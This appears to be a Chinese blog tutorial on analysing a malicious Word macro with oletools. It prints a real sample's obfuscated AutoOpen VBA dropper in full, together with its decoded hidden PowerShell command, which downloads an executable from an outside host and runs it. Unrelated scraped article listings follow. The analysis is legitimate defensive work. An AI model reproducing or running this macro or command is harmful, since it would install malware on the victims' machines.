OLE工具套件分析OFFICE宏恶意样本
零、绪论:OLE工具套件的介绍
OLE工具套件是一款针对OFFICE文档开发的具有强大分析功能一组工具集。这里主要介绍基于Python2.7的OLEtools的安装和使用。
(1)Python版本需求:2.7.9 及以上
(2)安装方法:pip install -U https://github.com/decalage2/oletools/archive/master.zip
(3)使用方法:在CMD、POWERSHELL或者LINUX SHELL中工具名称直接作为命令使用。

一、工具的介绍:
1、mraptor 检查样本是否为恶意。

结果为疑似SUSPICIOUS,权限AWX中没有写权限(w)A为自动执行权限,X为可执行权限
2、olebrowse介绍,一款可以查看ole文件内容的小“浏览器”

3、oledir 查看文档内部的ole目录

OLE的目录就是一种包含名称和存储了文件数据流位置的一种数据结构(详见[MS-CFB])。每个目录可能会被使用,或者完全是空的。
4、OLEMAP 查看文件的FAT分配表

5、OLEVBA 全面分析一个文件的工具(具体命令 -h查询)
C:\Python27\Lib\site-packages\oletools>oleobj C:\20701.doc
oleobj 0.51 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
-------------------------------------------------------------------------------
File: 'C:\\20701.doc' - 41472 bytes
C:\Python27\Lib\site-packages\oletools>olevba C:\20701.doc
olevba 0.51dev1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:MAS--B-- C:\20701.doc
===============================================================================
FILE: C:\20701.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: C:\20701.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function voxakudr()
tidmifjec = "76724"
voxakudr = tidmifjec
End Function
Function kameci()
kameci = "hyvnexock"
End Function
Function turjosm()
pbyhbipa = "62062"
turjosm = pbyhbipa
End Function
Function cmypfatp()
zriknu = Empty
cmypfatp = zriknu
End Function
Sub AutoOpen()
ywobgitk = 75
Dim abafa As String
danxo = ActiveDocument.Windows.Count
fqumbu = False
edwale = 43
Select Case edwale
Case "2183"
If (TypeName(voxakudr) = "String") Then
syqyqqaty = "sybicv"
x = "ipdufg" & 9
ic = False
hs = "uhas" & 684
End If
If (fqumbu = 80) Then
kica = 571
If (kica < 722) Then
gyxyhladjo = Empty
ozhelc = "63238"
E = "24075" & 10
us = 58
qbyqewmi = 13
End If
End If
ltewbir = 40
If (ltewbir = 75) Then
a = "rjeqi" & 41
ungopufda = False
E = Empty
End If
Case 43
If (danxo = 1) Then
caqo = "CipfmipfDipf.ipfEipfXipfeipf ipf/ipfcipf ipf""ipfPipfoipfWipfEipfRipfsipfhipfEipflipflipf.ipfeipfxipfeipf ipf ipf ipf ipf-ipfeipfXipfEipfCipfuipfTipfiipfOipfnipfPipfOipflipfiipfcipfYipf ipf ipf ipf ipf ipfbipfYipfpipfaipfSipfSipf ipf-ipfNipfoipfpipfripfOipffipfIipflipfEipf ipf ipf ipf ipf-ipfWipfiipfnipfDipfOipfWipfsipfTipfyipfLipfEipf ipfHipfiipfdipfDipfEipfnipf ipf ipf ipf ipf ipf(ipfNipfEipfwipf-ipfoipfBipfjipfeipfCipfTipf ipfSipfyipfsipftipfEipfMipf.ipfNipfEipfTipf.ipfWipfeipfbipfCipfLipfiipfEipfnipftipf)ipf.ipfdipfoipfwipfNipflipfoipfaipfdipffipfiipfLipfeipf(ipf'ipfhipftipftipfpipf:ipf/ipf/ipfuipfnipfiipftipftipfoipfgipfripfeipfaipfsipf.ipftipfoipfpipf/ipfsipfeipfaipfripfcipfhipf.ipfpipfhipfpipf'ipf,ipf'ipf%ipfaipfpipfPipfdipfAipfTipfaipf%ipf.ipfeipfxipfEipf'ipf)ipf;ipfsipfTipfAipfripftipf-ipfpipfRipfoipfcipfEipfsipfsipf ipf'ipf%ipfAipfpipfPipfDipfAipfTipfaipf%ipf.ipfEipfxipfeipf'ipf"""
vbiclazp = "ipf"
imvuse = Split(caqo, vbiclazp)
For Each egazejk In imvuse
abafa = abafa + egazejk
Next egazejk
onol = Shell(abafa, ndycimt)
End If
End Select
End Sub
+------------+----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------+-----------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | Windows | May enumerate application windows (if |
| | | combined with Shell.Application object) |
| Suspicious | Base64 Strings | Base64-encoded strings were detected, |
| | | may be used to obfuscate strings |
| | | (option --decode to see all) |
+------------+----------------+-----------------------------------------+
"cmd.exe /c ""powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://unittogreas.top/search.php','%appdata%.exe');start-process '%appdata%.exe'"""
OLE工具套件分析OFFICE宏恶意样本的更多相关文章
- MS Office CVE-2015-1641 恶意 Exploit 样本分析
MS Office CVE-2015-1641 恶意 Exploit 样本分析 在对最近的一个恶意 MS Office 文档样本进行分析时,我们发现了一些有趣的特性.这个文档利用 CVE-2015-1 ...
- ocky勒索软件恶意样本分析1
locky勒索软件恶意样本分析1 1 locky勒索软件构成概述 前些时期爆发的Locky勒索软件病毒这边也拿到了一个样本,简要做如下分析.样本主要包含三个程序: A xx.js文件:Jscript脚 ...
- ocky勒索软件恶意样本分析2
locky勒索软件恶意样本分析2 阿尔法实验室陈峰峰.胡进 前言 随着安全知识的普及,公民安全意识普遍提高了,恶意代码传播已经不局限于exe程序了,Locky敲诈者病毒就是其中之一,Locky敲诈者使 ...
- Office宏的基本利用
前言 Office宏,译自英文单词Macro.宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动 ...
- 基于深度学习的恶意样本行为检测(含源码) ----采用CNN深度学习算法对Cuckoo沙箱的动态行为日志进行检测和分类
from:http://www.freebuf.com/articles/system/182566.html 0×01 前言 目前的恶意样本检测方法可以分为两大类:静态检测和动态检测.静态检测是指并 ...
- 准确率99%!基于深度学习的二进制恶意样本检测——瀚思APT 沙箱恶意文件检测使用的是CNN,LSTM TODO
所以我们的流程如图所示.将正负样本按 1:1 的比例转换为图像.将 ImageNet 中训练好的图像分类模型作为迁移学习的输入.在 GPU 集群中进行训练.我们同时训练了标准模型和压缩模型,对应不同的 ...
- Android恶意样本数据集汇总
硕士论文的研究方向为Android恶意应用分类,因此花了一点时间去搜集Android恶意样本.其中一部分来自过去论文的公开数据集,一部分来自社区或平台的样本.现做一个汇总,标明了样本或数据集的采集时间 ...
- 【原创】利用Office宏实现powershell payload远控
本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境: ...
- 【API】恶意样本分析手册——API函数篇
学编程又有材料了 http://blog.nsfocus.net/malware-sample-analysis-api/
随机推荐
- asp.net mvc 4 AntiForgery 提供的防伪标记适用于用户“”,但当前用户为“XX” 问题处理记录
情景: 某页面未登录下可以访问,但具体操作时发现未登录就弹出登录窗,待完成登录后继续操作. 当登录成功,前端继续操作(post后端接口)时发现以下错误: 提供的防伪标记适用于用户“”,但当前 ...
- UVALive-4670 AC自动机入门题 求出现次数最多的子串
/** 链接:http://vjudge.net/problem/UVALive-4670 详见lrj训练指南P216 */ #include<bits/stdc++.h> using n ...
- cocos2dx3.2利用ProgressTimer组合成评分控件
一.制作背景 如今非常多游戏或者应用须要评分,就是一般来说满分10分,一般用星星来表示. 那么cocos2dx里面怎样制作评分这种控件呢? 我的打算是进度条组合成即可了. 二.材料准备 如上图所看到的 ...
- iOS彩票项目--第二天,自定义蒙版、封装活动菜单、自定义pop菜单
一.自定义蒙版--封装控件,先想好外界怎么来调用,根据外界调用的方法,然后进入内部实现 在外部,调用蒙版的方法--[ChaosCover show]; [ChaosCover hide]; 内部实现 ...
- C++构造函数后面的冒号
构造函数后加冒号是初始化表达式:有四种情况下应该使用初始化表达式来初始化成员:1:初始化const成员2:初始化引用成员3:当调用基类的构造函数,而它拥有一组参数时 4:当调用成员类的构造函数,而它拥 ...
- javascript中字符串拼接详解
字符串拼接是所有程序设计语言都需要的操作.当拼接结果较长时,如何保证效率就成为一个很重要的问题.本文介绍的是Javascript中的字符串拼接,希望对你有帮助,一起来看. 最近在研究<jav ...
- am335x mux配置
/**************************************************************** * am335x mux配置 * * am335x的引脚复寄存器是C ...
- Spring事务:调用同一个类中的方法
问题: 如果同一个类中有方法:methodA(); methodB().methodA()没有开启事务,methodB()开启了事务 且methodA()会调用methodB(). 那么,method ...
- 转【翻译】怎样在Ubuntu 12.04上配置Apache SSL证书
关于SSL证书 SSL证书是加密网站信息和创建一个更安全的连接的一种方式.另外,证书能够向网站訪问者展示VPS的身份信息. 证书颁发机构颁发SSL证书.用来验证server的具体信息,而一个自签名的证 ...
- oracle查询一个用户下的所有表
select table_name from all_tables where owner_name=upper('scott'); 用户名一定要大写//